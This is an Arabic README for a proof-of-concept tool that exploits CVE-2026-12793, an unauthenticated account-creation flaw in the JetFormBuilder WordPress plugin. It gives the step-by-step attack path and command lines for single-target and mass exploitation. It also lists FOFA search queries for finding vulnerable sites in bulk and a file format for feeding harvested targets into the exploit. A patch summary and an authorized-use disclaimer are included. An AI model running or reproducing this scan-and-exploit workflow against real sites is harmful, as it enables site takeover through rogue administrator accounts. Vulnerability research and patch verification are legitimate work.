CVE-2026-12793 — تصعيد صلاحيات غير مُصادَق عليه في JetFormBuilder

أداة فحص وإثبات مفهوم (Proof-of-concept) لاستغلال CVE-2026-12793 في إضافة ووردبريس JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).

الثغرة

لا تتحقق الإضافة من أن _jet_engine_booking_form_id يشير إلى نوع منشور مخصص jet-form-builder منشور قبل تحميل محتوى الكتلة للمنشور المُشار إليه كمخطط نموذج وتنفيذ إجراءات ما بعد الإرسال.

يمكن لمهاجم غير مُصادَق عليه إرسال طلب AJAX مُصمَّم لتفعيل إجراء Register User (wp_insert_user) وإنشاء حساب ووردبريس جديد. إذا كان النموذج المستهدف مُهيَّأً بشكل خاطئ بدور مرتفع الصلاحيات (مثل administrator)، فإن ذلك يؤدي إلى السيطرة الكاملة على الموقع.

مسار الهجوم

1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created

الترقيع (3.6.2.1)

• Block_Helper::is_valid_form_post() — يتم قبول فقط jet-form-builder CPT المنشور
• Form_Handler::set_form_id() يرفض معرّفات النماذج غير الصالحة
• تقوية التحقق من SSR (حظر wp_insert_user / wp_update_user كدوال استدعاء)

المتطلبات

• Python 3.8+
• requests

pip install requests urllib3

الاستخدام

هدف واحد — فحص

python poc.py -u https://target.example --mode check

فحص جماعي

python poc.py --list domains.txt --mode check --threads 30 --quiet

صيغ الإدخال: نطاق/رابط واحد لكل سطر، أو FOFA CSV (host,domain)، أو candidates.jsonl من تشغيل سابق.

استغلال (هدف واحد)

python poc.py -u https://target.example --mode exploit \
  --form-id 1858 \
  --page-url /register/ \
  --fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
  --username myuser \
  --email [email protected] \
  --password 'SecurePass123!' \
  --verify

استغلال جماعي من المرشحين

python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify

الخيارات

ملفات الإخراج

مثال على إدخال مرشح

{
  "target": "https://target.example",
  "version": "3.3.3",
  "form_id": 1858,
  "page_url": "https://target.example/register/",
  "fields": {
    "login": "user_login",
    "email": "user_email",
    "password": "user_pass"
  }
}

أسماء الحقول المكتشفة تلقائياً هي استكشافية. تحقق دائماً واستبدلها بـ --fields قبل الاستغلال.

الكشف / استعلامات FOFA

body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"

فحص الإصدار:

/wp-content/plugins/jetformbuilder/readme.txt

ابحث عن Stable tag: ≤ 3.6.2.

المراجع

• NVD — CVE-2026-12793
• Wordfence Threat Intel
• Patchstack
• WordPress.org changeset
• GitHub fix commit

إخلاء المسؤولية

تُقدَّم هذه الأداة لاختبارات الأمان المُصرَّح بها والأغراض التعليمية فقط. الوصول غير المُصرَّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

الترخيص

MIT